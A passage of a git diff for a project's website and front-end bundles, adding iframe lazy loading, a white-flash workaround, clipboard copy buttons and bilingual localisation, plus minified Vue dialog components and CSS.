item.classList.add('closing');
var h0 = panel.offsetHeight;
panel.style.height = h0 + 'px';
requestAnimationFrame(function () {
@ -219,8 +233,10 @@
panel.removeEventListener('transitionend', done);
panel.style.cssText = '';
item.open = false;
item.classList.remove('closing');
});
} else {
item.classList.remove('closing');
item.open = true;
var h1 = panel.offsetHeight;
panel.style.height = '0px';
@ -236,13 +252,53 @@
});
});
/* ═══════════ 4) 演示区等比缩放 ═══════════ */
/* ═══════════ 4) 演示区等比缩放 + 严格懒加载 ═══════════ */
var frame = document.getElementById('demoFrame');
var iframe = document.getElementById('demoIframe');
var DEMO_W = 1400;
var DEMO_H = 860;
// 严格懒加载iframe 初始无 srcdata-src 占位接近视口才注入——loading=lazy 的
// 浏览器预载阈值过宽(几千 px 就开载),演示壳 main.js 2.1MB 不值得提前加载。
if (iframe && iframe.dataset.src) {
if ('IntersectionObserver' in window) {
var demoIO = new IntersectionObserver(function (entries) {
if (entries[0].isIntersecting) {
iframe.src = iframe.dataset.src;
delete iframe.dataset.src;
demoIO.disconnect();
}
}, { rootMargin: '600px' });
demoIO.observe(iframe);
} else {
iframe.src = iframe.dataset.src; // 兜底:无 IO 直接加载
}
}
// 防白闪iframe 子文档整页导航(新建对话跳 /new浏览器会把 iframe 区域画成不透明白,
// 与子文档 CSS 无关(逐帧实测证实:子文档计算背景全程深色,屏幕仍出现全白帧);且新文档首帧
// 在 theme.ts 写 data-theme 前会命中产品首屏回退浅色 #faf9f5#app 无条件 background 所致)。
// 对策:导航期间隐藏 iframe露出 demo-frame 深色面板底),子文档等 data-theme 落地且首帧绘制后
// postMessage 通知显示demo.htmlload 事件兜底load 时 module 脚本已执行data-theme 已在)。
if (iframe) {
var markDemoFrameReady = function () { iframe.classList.add('demo-frame-ready'); };
window.addEventListener('message', function (e) {
if (e.origin === location.origin && e.data === 'astrion-demo-frame-ready') markDemoFrameReady();
});
iframe.addEventListener('load', function () {
// 每次新文档 load 后重挂导航监听window 对象随导航重建)。
// beforeunload 早于 pagehide网络请求发起前就触发给父页留出一个 SW 往返的时间隐藏,
// 实测只靠 pagehide 会漏掉浏览器画白的前 2 帧。两个都挂,幂等。
try {
var hide = function () { iframe.classList.remove('demo-frame-ready'); };
iframe.contentWindow.addEventListener('beforeunload', hide);
iframe.contentWindow.addEventListener('pagehide', hide);
} catch (e) {}
markDemoFrameReady(); // 兜底postMessage 丢失时 load 也要显示
});
}
function fitDemo() {
var available = frame.clientWidth;
var scale = Math.min(1, available / DEMO_W);
@ -262,6 +318,11 @@
AstrionAvatar.mount(document.getElementById('heroMascot'), { mode: 'idle', blink: true, track: true });
}
/* 动画模块语言注入init 前先 setLocale语言切换时第 12 节会再次 setLocale 触发重建续播) */
['AnimModes', 'AnimSandbox', 'AnimRecords', 'AnimVersion'].forEach(function (name) {
if (window[name] && window[name].setLocale) window[name].setLocale(siteLocale);
});
/* ═══════════ 6) 运行模式动画(功能 01 行) ═══════════ */
if (window.AnimModes && document.getElementById('animModes')) {
@ -285,4 +346,105 @@
if (window.AnimVersion && document.getElementById('animVersion')) {
AnimVersion.init(document.getElementById('animVersion'));
}
/* ═══════════ 10) hero 区 git clone 复制 ═══════════ */
var heroClone = document.getElementById('heroClone');
if (heroClone) {
var heroCloneTimer = null;
heroClone.addEventListener('click', function () {
var cmd = 'git clone https://github.com/JOJO6618/astrion.git';
var done = function () {
heroClone.classList.add('copied');
clearTimeout(heroCloneTimer);
heroCloneTimer = setTimeout(function () {
heroClone.classList.remove('copied');
}, 1600);
};
if (navigator.clipboard && navigator.clipboard.writeText) {
navigator.clipboard.writeText(cmd).then(done).catch(function () {});
}
});
}
/* ═══════════ 11) 联系我 邮箱复制 ═══════════ */
var contactCopy = document.getElementById('contactCopy');
if (contactCopy) {
var contactCopyTimer = null;
contactCopy.addEventListener('click', function () {
var mail = 'yao884417@outlook.com';
var done = function () {
contactCopy.classList.add('copied');
clearTimeout(contactCopyTimer);
contactCopyTimer = setTimeout(function () {
contactCopy.classList.remove('copied');
}, 1600);
};
if (navigator.clipboard && navigator.clipboard.writeText) {
navigator.clipboard.writeText(mail).then(done).catch(function () {});
}
});
}
/* ═══════════ 12) 站点多语言(主页 zh-CN / en-US
* siteLocale 已在 IIFE 顶部检测动画初始化要用本脚本在 body 末尾同步执行
* 首帧绘制前完成替换不会闪源语言
* 字典在 i18n.jswindow.SITE_I18N标记约定
* data-i18n textContent / data-i18n-html innerHTML / data-i18n-aria aria-label /
* data-i18n-attr-title title 属性meta[name=description] meta.desc
*/
var SITE_I18N = window.SITE_I18N || {};
var langToggle = document.getElementById('langToggle');
function applySiteLocale(locale) {
var dict = SITE_I18N[locale];
if (!dict) return;
document.documentElement.setAttribute('lang', locale);
var i, nodes, key;
nodes = document.querySelectorAll('[data-i18n]');
for (i = 0; i < nodes.length; i++) {
key = nodes[i].getAttribute('data-i18n');
if (dict[key] != null) nodes[i].textContent = dict[key];
}
nodes = document.querySelectorAll('[data-i18n-html]');
for (i = 0; i < nodes.length; i++) {
key = nodes[i].getAttribute('data-i18n-html');
if (dict[key] != null) nodes[i].innerHTML = dict[key];
}
nodes = document.querySelectorAll('[data-i18n-aria]');
for (i = 0; i < nodes.length; i++) {
key = nodes[i].getAttribute('data-i18n-aria');
if (dict[key] != null) nodes[i].setAttribute('aria-label', dict[key]);
}
nodes = document.querySelectorAll('[data-i18n-attr-title]');
for (i = 0; i < nodes.length; i++) {
key = nodes[i].getAttribute('data-i18n-attr-title');
if (dict[key] != null) nodes[i].setAttribute('title', dict[key]);
}
var metaDesc = document.querySelector('meta[name="description"]');
if (metaDesc && dict['meta.desc'] != null) {
metaDesc.setAttribute('content', dict['meta.desc']);
}
if (langToggle) {
langToggle.textContent = locale === 'zh-CN' ? 'English' : '中文';
langToggle.setAttribute('aria-label', locale === 'zh-CN' ? 'Switch to English' : '切换为中文');
}
/* 动画模块联动setLocale 内部重建 DOM 并续播当前场景(详见各 anim-*.js */
['AnimModes', 'AnimSandbox', 'AnimRecords', 'AnimVersion'].forEach(function (name) {
if (window[name] && window[name].setLocale) window[name].setLocale(locale);
});
}
if (siteLocale !== 'zh-CN') applySiteLocale(siteLocale);
if (langToggle) {
langToggle.textContent = siteLocale === 'zh-CN' ? 'English' : '中文';
langToggle.addEventListener('click', function () {
siteLocale = siteLocale === 'zh-CN' ? 'en-US' : 'zh-CN';
try { localStorage.setItem('astrion_site_locale', siteLocale); } catch (e) {}
applySiteLocale(siteLocale);
});
}
})();

6
demo/site-assets/vendor/marked.min.js vendored Normal file

File diff suppressed because one or more lines are too long

Binary file not shown.

After

Width:  |  Height:  |  Size: 3.9 KiB

View File

@ -1 +1 @@
import{d as w,b as n,e as T,s as D,u as a,c as i,A as E,g as c,t as d,n as I,f as m,T as L,k as z,l as p}from"./runtime-dom.esm-bundler.js";import{k as N,s as V}from"./main.js";import"./_plugin-vue_export-helper.js";import"./useMarkdownRenderer.js";import"./FancyCheck.js";const A={class:"subagent-activity-modal bg-command-modal"},M={class:"subagent-activity-header"},O={class:"subagent-activity-title"},R={class:"subagent-activity-meta"},j={key:0,class:"subagent-activity-summary"},q={key:0,class:"subagent-activity-actions"},F=["disabled"],G={key:0,class:"subagent-activity-error"},H={class:"subagent-activity-body"},J={key:0,class:"subagent-activity-error"},K={key:1,class:"subagent-activity-empty"},P={key:2,class:"bg-command-output"},$=w({__name:"BackgroundCommandDialog",setup(Q){const v=N(),{activeCommand:o,activeDetail:u,detailLoading:k,detailError:y,stoppingCommandIds:C}=V(v),r=z(""),g=()=>{v.closeCommand()},S=s=>{const t=(s||"").toString().toLowerCase();return["completed","failed","timeout","cancelled"].includes(t)},B=p(()=>{var t,e,l;const s=((t=u.value)==null?void 0:t.status)||((e=o.value)==null?void 0:e.status);return(l=o.value)!=null&&l.command_id?!S(s):!1}),_=p(()=>{var t,e;const s=(t=o.value)==null?void 0:t.command_id;return s?!!((e=C.value)!=null&&e[s]):!1}),x=async()=>{var e;const s=(e=o.value)==null?void 0:e.command_id;if(!s||_.value)return;r.value="";const t=await v.cancelCommand(s);t!=null&&t.success||(r.value=(t==null?void 0:t.error)||"停止失败")},b=p(()=>{var t;return(((t=u.value)==null?void 0:t.output)||"").toString()});return(s,t)=>(n(),T(L,{name:"overlay-fade"},{default:D(()=>{var e,l,f,h;return[a(o)?(n(),i("div",{key:0,class:"subagent-activity-overlay",onClick:E(g,["self"])},[c("div",A,[c("div",M,[c("div",O,"后台指令 "+d(a(o).command_id),1),c("button",{type:"button",class:"subagent-activity-close",onClick:g},"×")]),c("div",R,[c("span",{class:I(["subagent-activity-status",((e=a(u))==null?void 0:e.status)||a(o).status||""])},d(((l=a(u))==null?void 0:l.status)||a(o).status||"running"),3),(f=a(u))!=null&&f.command||a(o).command?(n(),i("span",j,d(((h=a(u))==null?void 0:h.command)||a(o).command),1)):m("",!0)]),B.value?(n(),i("div",q,[c("button",{type:"button",class:"subagent-stop-btn",disabled:_.value,onClick:x},d(_.value?"停止中...":"手动停止"),9,F),r.value?(n(),i("span",G,d(r.value),1)):m("",!0)])):m("",!0),c("div",H,[a(y)?(n(),i("div",J,d(a(y)),1)):a(k)&&!b.value?(n(),i("div",K," 正在读取后台指令输出... ")):(n(),i("pre",P,d(b.value||"[no_output]"),1))])])])):m("",!0)]}),_:1}))}});export{$ as default};
import{d as $,m as n,b as w,x as I,u as s,c,B as D,f as l,t as i,s as E,n as L,e as m,T as N,j as V,k as y,l as z}from"./index.js";import{l as M,s as O}from"./main.js";import{C as R}from"./CloseButton.js";import"./_plugin-vue_export-helper.js";import"./useMarkdownRenderer.js";const j={class:"subagent-activity-modal bg-command-modal"},x={class:"subagent-activity-header"},F={class:"subagent-activity-title"},P={class:"subagent-activity-meta"},q={key:0,class:"subagent-activity-summary"},A={key:0,class:"subagent-activity-actions"},G=["disabled"],H={key:0,class:"subagent-activity-error"},J={class:"subagent-activity-body"},K={key:0,class:"subagent-activity-error"},Q={key:1,class:"subagent-activity-empty"},U={key:2,class:"bg-command-output"},st=$({__name:"BackgroundCommandDialog",setup(W){const v=M(),{activeCommand:o,activeDetail:d,detailLoading:h,detailError:_,stoppingCommandIds:k}=O(v),u=V(""),g=()=>{v.closeCommand()},B=a=>{const t=(a||"").toString().toLowerCase();return["completed","failed","timeout","cancelled"].includes(t)},S=y(()=>{var t,e,r;const a=((t=d.value)==null?void 0:t.status)||((e=o.value)==null?void 0:e.status);return(r=o.value)!=null&&r.command_id?!B(a):!1}),p=y(()=>{var t,e;const a=(t=o.value)==null?void 0:t.command_id;return a?!!((e=k.value)!=null&&e[a]):!1}),T=async()=>{var e;const a=(e=o.value)==null?void 0:e.command_id;if(!a||p.value)return;u.value="";const t=await v.cancelCommand(a);t!=null&&t.success||(u.value=(t==null?void 0:t.error)||z("overlay.stopFailed"))},b=y(()=>{var t;return(((t=d.value)==null?void 0:t.output)||"").toString()});return(a,t)=>(n(),w(N,{name:"overlay-fade"},{default:I(()=>{var e,r,f,C;return[s(o)?(n(),c("div",{key:0,class:"subagent-activity-overlay",onClick:D(g,["self"])},[l("div",j,[l("div",x,[l("div",F,i(a.$t("overlay.bgCommandTitle",{id:s(o).command_id})),1),E(R,{label:a.$t("common.close"),onClick:g},null,8,["label"])]),l("div",P,[l("span",{class:L(["subagent-activity-status",((e=s(d))==null?void 0:e.status)||s(o).status||""])},i(((r=s(d))==null?void 0:r.status)||s(o).status||"running"),3),(f=s(d))!=null&&f.command||s(o).command?(n(),c("span",q,i(((C=s(d))==null?void 0:C.command)||s(o).command),1)):m("",!0)]),S.value?(n(),c("div",A,[l("button",{type:"button",class:"subagent-stop-btn",disabled:p.value,onClick:T},i(p.value?a.$t("overlay.stopInProgress"):a.$t("overlay.stopManually")),9,G),u.value?(n(),c("span",H,i(u.value),1)):m("",!0)])):m("",!0),l("div",J,[s(_)?(n(),c("div",K,i(s(_)),1)):s(h)&&!b.value?(n(),c("div",Q,i(a.$t("overlay.bgCommandReadingOutput")),1)):(n(),c("pre",U,i(b.value||"[no_output]"),1))])])])):m("",!0)]}),_:1}))}});export{st as default};

View File

@ -0,0 +1 @@
.fancy-check[data-v-d670a96f]{display:inline-flex;align-items:center;justify-content:center;flex:none}.fancy-check svg[data-v-d670a96f]{display:block;overflow:visible}.fancy-path[data-v-d670a96f]{fill:none;stroke:var(--text-secondary);stroke-width:5;stroke-linecap:round;stroke-linejoin:round;transition:stroke-dasharray .5s ease,stroke-dashoffset .5s ease,stroke .2s ease;stroke-dasharray:241 9999999;stroke-dashoffset:0}.fancy-check.is-checked .fancy-path[data-v-d670a96f]{stroke-dasharray:70.5096664428711 9999999;stroke-dashoffset:-262.2723388671875}.fancy-check.is-checked.accent-checked .fancy-path[data-v-d670a96f]{stroke:var(--accent)}.close-btn[data-v-7be3b6be]{display:inline-flex;align-items:center;justify-content:center;flex:none;border:0;padding:0;background:transparent;cursor:pointer}.close-btn[data-v-7be3b6be]:disabled{opacity:.45;cursor:not-allowed}.close-btn--boxed[data-v-7be3b6be]{--_size: 28px;--_radius: 7px;width:var(--_size);height:var(--_size);border-radius:var(--_radius);color:var(--text-secondary);transition:background .14s ease,color .14s ease}.close-btn--boxed.close-btn--sm[data-v-7be3b6be]{--_size: 24px;--_radius: 6px}@media (hover: hover){.close-btn--boxed[data-v-7be3b6be]:hover{background:var(--hover-bg);color:var(--text-primary)}}.close-btn--boxed[data-v-7be3b6be]:active{background:var(--hover-bg);color:var(--text-primary)}.close-btn--bare[data-v-7be3b6be]{width:36px;height:36px;color:var(--close-btn-color);transition:color .14s ease}:where(.close-btn--bare[data-v-7be3b6be]){--close-btn-color: var(--text-secondary);--close-btn-color-hover: var(--text-primary)}.close-btn--bare .icon[data-v-7be3b6be]{--icon-size: 20px}@media (hover: hover){.close-btn--bare[data-v-7be3b6be]:hover{color:var(--close-btn-color-hover)}}

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

View File

@ -1 +1 @@
import{d as s,b as c,c as t,n,y as o,g as d}from"./runtime-dom.esm-bundler.js";import{_ as l}from"./_plugin-vue_export-helper.js";const h=s({__name:"FancyCheck",props:{checked:{type:Boolean,default:!1},size:{default:22},accentChecked:{type:Boolean,default:!1}},setup(e){return(i,a)=>(c(),t("span",{class:n(["fancy-check",{"is-checked":e.checked,"accent-checked":e.accentChecked}]),"aria-hidden":"true"},[(c(),t("svg",{viewBox:"0 0 64 64",style:o({width:`${e.size}px`,height:`${e.size}px`})},[...a[0]||(a[0]=[d("path",{d:"M 0 16 V 56 A 8 8 90 0 0 8 64 H 56 A 8 8 90 0 0 64 56 V 8 A 8 8 90 0 0 56 0 H 8 A 8 8 90 0 0 0 8 V 16 L 32 48 L 64 16 V 8 A 8 8 90 0 0 56 0 H 8 A 8 8 90 0 0 0 8 V 56 A 8 8 90 0 0 8 64 H 56 A 8 8 90 0 0 64 56 V 16",pathLength:"575.0541381835938",class:"fancy-path"},null,-1)])],4))],2))}}),p=l(h,[["__scopeId","data-v-d670a96f"]]);export{p as F};
import{d as s,b as c,c as t,n,y as o,g as d}from"./index.js";import{_ as l}from"./_plugin-vue_export-helper.js";const h=s({__name:"FancyCheck",props:{checked:{type:Boolean,default:!1},size:{default:22},accentChecked:{type:Boolean,default:!1}},setup(e){return(i,a)=>(c(),t("span",{class:n(["fancy-check",{"is-checked":e.checked,"accent-checked":e.accentChecked}]),"aria-hidden":"true"},[(c(),t("svg",{viewBox:"0 0 64 64",style:o({width:`${e.size}px`,height:`${e.size}px`})},[...a[0]||(a[0]=[d("path",{d:"M 0 16 V 56 A 8 8 90 0 0 8 64 H 56 A 8 8 90 0 0 64 56 V 8 A 8 8 90 0 0 56 0 H 8 A 8 8 90 0 0 0 8 V 16 L 32 48 L 64 16 V 8 A 8 8 90 0 0 56 0 H 8 A 8 8 90 0 0 0 8 V 56 A 8 8 90 0 0 8 64 H 56 A 8 8 90 0 0 64 56 V 16",pathLength:"575.0541381835938",class:"fancy-path"},null,-1)])],4))],2))}}),p=l(h,[["__scopeId","data-v-d670a96f"]]);export{p as F};

View File

@ -1 +1 @@
.goal-progress-modal[data-v-31b00366]{min-width:360px;max-width:520px}.goal-progress-meta[data-v-31b00366]{display:flex;align-items:center;gap:10px;flex-wrap:wrap;padding:4px 0 12px}.goal-progress-status[data-v-31b00366]{font-size:12px;padding:2px 10px;border-radius:999px;border:1px solid var(--theme-chip-border);background:color-mix(in srgb,var(--theme-surface-soft) 92%,var(--text-tertiary) 8%);color:var(--text-secondary)}.goal-progress-status.is-running[data-v-31b00366]{color:var(--accent);border-color:var(--accent);background:color-mix(in srgb,var(--theme-surface-soft) 82%,var(--accent) 18%)}.goal-progress-status.is-done[data-v-31b00366]{color:var(--state-success);border-color:var(--state-success);background:color-mix(in srgb,var(--theme-surface-soft) 82%,var(--state-success) 18%)}.goal-progress-status.is-stopped[data-v-31b00366]{color:var(--state-warning);border-color:var(--state-warning);background:color-mix(in srgb,var(--theme-surface-soft) 82%,var(--state-warning) 18%)}:root[data-theme=dark],body[data-theme=dark]{color:var(--text-secondary);background:color-mix(in srgb,var(--theme-surface-muted) 82%,var(--text-tertiary) 18%);border-color:var(--theme-control-border-strong)}:root[data-theme=dark],body[data-theme=dark]{color:var(--text-primary);background:color-mix(in srgb,var(--theme-surface-muted) 72%,var(--accent) 28%);border-color:color-mix(in srgb,var(--accent) 70%,white 30%)}:root[data-theme=dark],body[data-theme=dark]{color:color-mix(in srgb,var(--state-success) 30%,white);background:color-mix(in srgb,var(--theme-surface-muted) 72%,var(--state-success) 28%);border-color:color-mix(in srgb,var(--state-success) 70%,white 30%)}:root[data-theme=dark],body[data-theme=dark]{color:color-mix(in srgb,var(--state-warning) 30%,white);background:color-mix(in srgb,var(--theme-surface-muted) 72%,var(--state-warning) 28%);border-color:color-mix(in srgb,var(--state-warning) 70%,white 30%)}.goal-progress-goal[data-v-31b00366]{font-size:13px;color:var(--text-secondary);overflow:hidden;text-overflow:ellipsis;white-space:nowrap;max-width:100%}.goal-progress-metrics[data-v-31b00366]{display:grid;grid-template-columns:repeat(4,1fr);gap:10px;margin-bottom:12px}.goal-metric[data-v-31b00366]{text-align:center;padding:10px 6px;border-radius:10px;background:var(--theme-surface-muted);border:1px solid var(--theme-control-border)}.goal-metric__value[data-v-31b00366]{font-size:18px;font-weight:600;color:var(--text-primary)}.goal-metric__label[data-v-31b00366]{margin-top:4px;font-size:11px;color:var(--text-tertiary)}.goal-progress-reason[data-v-31b00366]{font-size:13px;color:var(--state-warning);margin-bottom:10px}.goal-progress-summary[data-v-31b00366]{border-top:1px solid var(--theme-control-border);padding-top:10px}.goal-progress-summary__title[data-v-31b00366]{font-size:12px;color:var(--text-tertiary);margin-bottom:6px}.goal-progress-summary__body[data-v-31b00366]{font-size:13px;line-height:1.6;color:var(--text-primary);white-space:pre-wrap;word-break:break-word;max-height:240px;overflow-y:auto}@media (max-width: 520px){.goal-progress-metrics[data-v-31b00366]{grid-template-columns:repeat(2,1fr)}}
.goal-progress-modal[data-v-42f45aca]{min-width:360px;max-width:520px}.goal-progress-meta[data-v-42f45aca]{display:flex;align-items:center;gap:10px;flex-wrap:wrap;padding:4px 0 12px}.goal-progress-status[data-v-42f45aca]{font-size:12px;padding:2px 10px;border-radius:999px;border:1px solid var(--theme-chip-border);background:color-mix(in srgb,var(--theme-surface-soft) 92%,var(--text-tertiary) 8%);color:var(--text-secondary)}.goal-progress-status.is-running[data-v-42f45aca]{color:var(--accent);border-color:var(--accent);background:color-mix(in srgb,var(--theme-surface-soft) 82%,var(--accent) 18%)}.goal-progress-status.is-done[data-v-42f45aca]{color:var(--state-success);border-color:var(--state-success);background:color-mix(in srgb,var(--theme-surface-soft) 82%,var(--state-success) 18%)}.goal-progress-status.is-stopped[data-v-42f45aca]{color:var(--state-warning);border-color:var(--state-warning);background:color-mix(in srgb,var(--theme-surface-soft) 82%,var(--state-warning) 18%)}:root[data-theme=dark],body[data-theme=dark]{color:var(--text-secondary);background:color-mix(in srgb,var(--theme-surface-muted) 82%,var(--text-tertiary) 18%);border-color:var(--theme-control-border-strong)}:root[data-theme=dark],body[data-theme=dark]{color:var(--text-primary);background:color-mix(in srgb,var(--theme-surface-muted) 72%,var(--accent) 28%);border-color:color-mix(in srgb,var(--accent) 70%,white 30%)}:root[data-theme=dark],body[data-theme=dark]{color:color-mix(in srgb,var(--state-success) 30%,white);background:color-mix(in srgb,var(--theme-surface-muted) 72%,var(--state-success) 28%);border-color:color-mix(in srgb,var(--state-success) 70%,white 30%)}:root[data-theme=dark],body[data-theme=dark]{color:color-mix(in srgb,var(--state-warning) 30%,white);background:color-mix(in srgb,var(--theme-surface-muted) 72%,var(--state-warning) 28%);border-color:color-mix(in srgb,var(--state-warning) 70%,white 30%)}.goal-progress-goal[data-v-42f45aca]{font-size:13px;color:var(--text-secondary);overflow:hidden;text-overflow:ellipsis;white-space:nowrap;max-width:100%}.goal-progress-metrics[data-v-42f45aca]{display:grid;grid-template-columns:repeat(4,1fr);gap:10px;margin-bottom:12px}.goal-metric[data-v-42f45aca]{text-align:center;padding:10px 6px;border-radius:10px;background:var(--theme-surface-muted);border:1px solid var(--theme-control-border)}.goal-metric__value[data-v-42f45aca]{font-size:18px;font-weight:600;color:var(--text-primary)}.goal-metric__label[data-v-42f45aca]{margin-top:4px;font-size:11px;color:var(--text-tertiary)}.goal-progress-reason[data-v-42f45aca]{font-size:13px;color:var(--state-warning);margin-bottom:10px}.goal-progress-summary[data-v-42f45aca]{border-top:1px solid var(--theme-control-border);padding-top:10px}.goal-progress-summary__title[data-v-42f45aca]{font-size:12px;color:var(--text-tertiary);margin-bottom:6px}.goal-progress-summary__body[data-v-42f45aca]{font-size:13px;line-height:1.6;color:var(--text-primary);white-space:pre-wrap;word-break:break-word;max-height:240px;overflow-y:auto}@media (max-width: 520px){.goal-progress-metrics[data-v-42f45aca]{grid-template-columns:repeat(2,1fr)}}

View File

@ -1 +1 @@
import{d as F,w as G,a as I,b as c,e as P,s as A,c as d,A as E,g as t,t as r,n as L,f as v,T as V,l as a,k as p}from"./runtime-dom.esm-bundler.js";import{_ as z}from"./_plugin-vue_export-helper.js";const O={class:"subagent-activity-modal goal-progress-modal"},R={class:"subagent-activity-header"},U={class:"subagent-activity-title"},j={class:"goal-progress-meta"},q=["title"],H={class:"goal-progress-metrics"},J={class:"goal-metric"},K={class:"goal-metric__value"},Q={class:"goal-metric"},W={class:"goal-metric__value"},X={class:"goal-metric"},Y={class:"goal-metric__value"},Z={class:"goal-metric"},ss={class:"goal-metric__value"},es={key:0,class:"goal-progress-reason"},ts={key:1,class:"goal-progress-summary"},os={class:"goal-progress-summary__title"},as={class:"goal-progress-summary__body"},rs=F({name:"GoalProgressDialog",__name:"GoalProgressDialog",props:{open:{type:Boolean},progress:{}},emits:["close"],setup(f){const o=f,b=a(()=>{var e;return((e=o.progress)==null?void 0:e.status)||"running"}),l=a(()=>b.value==="done"),i=a(()=>b.value==="stopped"),D=a(()=>l.value?"已完成":i.value?"已停止":"运行中"),$=a(()=>({"is-done":l.value,"is-stopped":i.value,"is-running":!l.value&&!i.value})),m=a(()=>{var e;return(((e=o.progress)==null?void 0:e.goal)||"").toString()}),C=a(()=>{var e;return Number(((e=o.progress)==null?void 0:e.turn_count)??0)}),N=a(()=>{var e;return Number(((e=o.progress)==null?void 0:e.tool_calls)??0)}),y=a(()=>{var e,s;return(((e=o.progress)==null?void 0:e.summary)||((s=o.progress)==null?void 0:s.final_summary)||"").toString()}),h=p(0),_=p(Date.now()),g=p(Date.now());let u=null;const B=()=>{var s;const e=Number(((s=o.progress)==null?void 0:s.duration_seconds)??0);h.value=Number.isFinite(e)&&e>0?e:0,_.value=Date.now(),g.value=_.value},M=()=>{u||!o.open||l.value||i.value||(u=window.setInterval(()=>{g.value=Date.now()},1e3))},k=()=>{u&&(window.clearInterval(u),u=null)};G(()=>{var e,s;return[(e=o.progress)==null?void 0:e.duration_seconds,(s=o.progress)==null?void 0:s.status,o.open]},()=>{B(),o.open&&!l.value&&!i.value?M():k()},{immediate:!0}),I(k);const x=a(()=>{var s;const e=Number(((s=o.progress)==null?void 0:s.tokens_used)??0);return Number.isFinite(e)?e>=1e3?`${(e/1e3).toFixed(1)}k`:`${e}`:"0"}),S=a(()=>{const e=!l.value&&!i.value?Math.max(0,(g.value-_.value)/1e3):0,s=h.value+e;if(!Number.isFinite(s)||s<=0)return"0s";if(s<60)return`${Math.round(s)}s`;const n=Math.floor(s/60),T=Math.round(s%60);return n<60?`${n}m${T}s`:`${Math.floor(n/60)}h${n%60}m`}),w=a(()=>{var n;const e={idle_no_tool:"主模型停止时未调用任何工具(可能卡住)",max_turns:"已达到最大轮数上限",max_tokens:"已达到累计 token 上限",user_cancel:"用户手动停止"},s=(((n=o.progress)==null?void 0:n.stopped_reason)||"").toString();return e[s]||s});return(e,s)=>(c(),P(V,{name:"overlay-fade"},{default:A(()=>[f.open?(c(),d("div",{key:0,class:"subagent-activity-overlay",onClick:s[1]||(s[1]=E(n=>e.$emit("close"),["self"]))},[t("div",O,[t("div",R,[t("div",U,r(l.value?"目标已完成":i.value?"目标模式停止":"目标模式进行中"),1),t("button",{type:"button",class:"subagent-activity-close",onClick:s[0]||(s[0]=n=>e.$emit("close"))},"×")]),t("div",j,[t("span",{class:L(["goal-progress-status",$.value])},r(D.value),3),m.value?(c(),d("span",{key:0,class:"goal-progress-goal",title:m.value},"目标:"+r(m.value),9,q)):v("",!0)]),t("div",H,[t("div",J,[t("div",K,r(C.value),1),s[2]||(s[2]=t("div",{class:"goal-metric__label"},"已运行轮数",-1))]),t("div",Q,[t("div",W,r(x.value),1),s[3]||(s[3]=t("div",{class:"goal-metric__label"},"消耗 token",-1))]),t("div",X,[t("div",Y,r(N.value),1),s[4]||(s[4]=t("div",{class:"goal-metric__label"},"工具调用",-1))]),t("div",Z,[t("div",ss,r(S.value),1),s[5]||(s[5]=t("div",{class:"goal-metric__label"},"用时",-1))])]),i.value&&w.value?(c(),d("div",es," 停止原因:"+r(w.value),1)):v("",!0),y.value?(c(),d("div",ts,[t("div",os,r(l.value?"完成总结":"最后进展"),1),t("div",as,r(y.value),1)])):v("",!0)])])):v("",!0)]),_:1}))}}),us=z(rs,[["__scopeId","data-v-31b00366"]]);export{us as default};
import{d as G,w as P,a as R,m as c,b as V,x as E,c as d,B as U,f as o,t,s as j,n as z,e as m,T as A,k as r,D as w,l as g,j as h}from"./index.js";import{C as O}from"./CloseButton.js";import{_ as q}from"./_plugin-vue_export-helper.js";const H={class:"subagent-activity-modal goal-progress-modal"},J={class:"subagent-activity-header"},K={class:"subagent-activity-title"},Q={class:"goal-progress-meta"},W=["title"],X={class:"goal-progress-metrics"},Y={class:"goal-metric"},Z={class:"goal-metric__value"},x={class:"goal-metric__label"},ee={class:"goal-metric"},se={class:"goal-metric__value"},oe={class:"goal-metric__label"},ae={class:"goal-metric"},te={class:"goal-metric__value"},re={class:"goal-metric__label"},le={class:"goal-metric"},ne={class:"goal-metric__value"},ie={class:"goal-metric__label"},ue={key:0,class:"goal-progress-reason"},ce={key:1,class:"goal-progress-summary"},ve={class:"goal-progress-summary__title"},de={class:"goal-progress-summary__body"},me=G({name:"GoalProgressDialog",__name:"GoalProgressDialog",props:{open:{type:Boolean},progress:{}},emits:["close"],setup(f){const a=f,b=r(()=>{var e;return((e=a.progress)==null?void 0:e.status)||"running"}),n=r(()=>b.value==="done"),i=r(()=>b.value==="stopped"),C=r(()=>(w.value,n.value?g("overlay.statusDone"):i.value?g("overlay.statusStopped"):g("common.running"))),N=r(()=>({"is-done":n.value,"is-stopped":i.value,"is-running":!n.value&&!i.value})),_=r(()=>{var e;return(((e=a.progress)==null?void 0:e.goal)||"").toString()}),B=r(()=>{var e;return Number(((e=a.progress)==null?void 0:e.turn_count)??0)}),M=r(()=>{var e;return Number(((e=a.progress)==null?void 0:e.tool_calls)??0)}),$=r(()=>{var e,s;return(((e=a.progress)==null?void 0:e.summary)||((s=a.progress)==null?void 0:s.final_summary)||"").toString()}),D=h(0),p=h(Date.now()),y=h(Date.now());let u=null;const S=()=>{var s;const e=Number(((s=a.progress)==null?void 0:s.duration_seconds)??0);D.value=Number.isFinite(e)&&e>0?e:0,p.value=Date.now(),y.value=p.value},L=()=>{u||!a.open||n.value||i.value||(u=window.setInterval(()=>{y.value=Date.now()},1e3))},k=()=>{u&&(window.clearInterval(u),u=null)};P(()=>{var e,s;return[(e=a.progress)==null?void 0:e.duration_seconds,(s=a.progress)==null?void 0:s.status,a.open]},()=>{S(),a.open&&!n.value&&!i.value?L():k()},{immediate:!0}),R(k);const F=r(()=>{var s;const e=Number(((s=a.progress)==null?void 0:s.tokens_used)??0);return Number.isFinite(e)?e>=1e3?`${(e/1e3).toFixed(1)}k`:`${e}`:"0"}),I=r(()=>{const e=!n.value&&!i.value?Math.max(0,(y.value-p.value)/1e3):0,s=D.value+e;if(!Number.isFinite(s)||s<=0)return"0s";if(s<60)return`${Math.round(s)}s`;const l=Math.floor(s/60),v=Math.round(s%60);return l<60?`${l}m${v}s`:`${Math.floor(l/60)}h${l%60}m`}),T=r(()=>{var v;w.value;const e={idle_no_tool:"overlay.reasonIdleNoTool",max_turns:"overlay.reasonMaxTurns",max_tokens:"overlay.reasonMaxTokens",user_cancel:"overlay.reasonUserCancel"},s=(((v=a.progress)==null?void 0:v.stopped_reason)||"").toString(),l=e[s];return 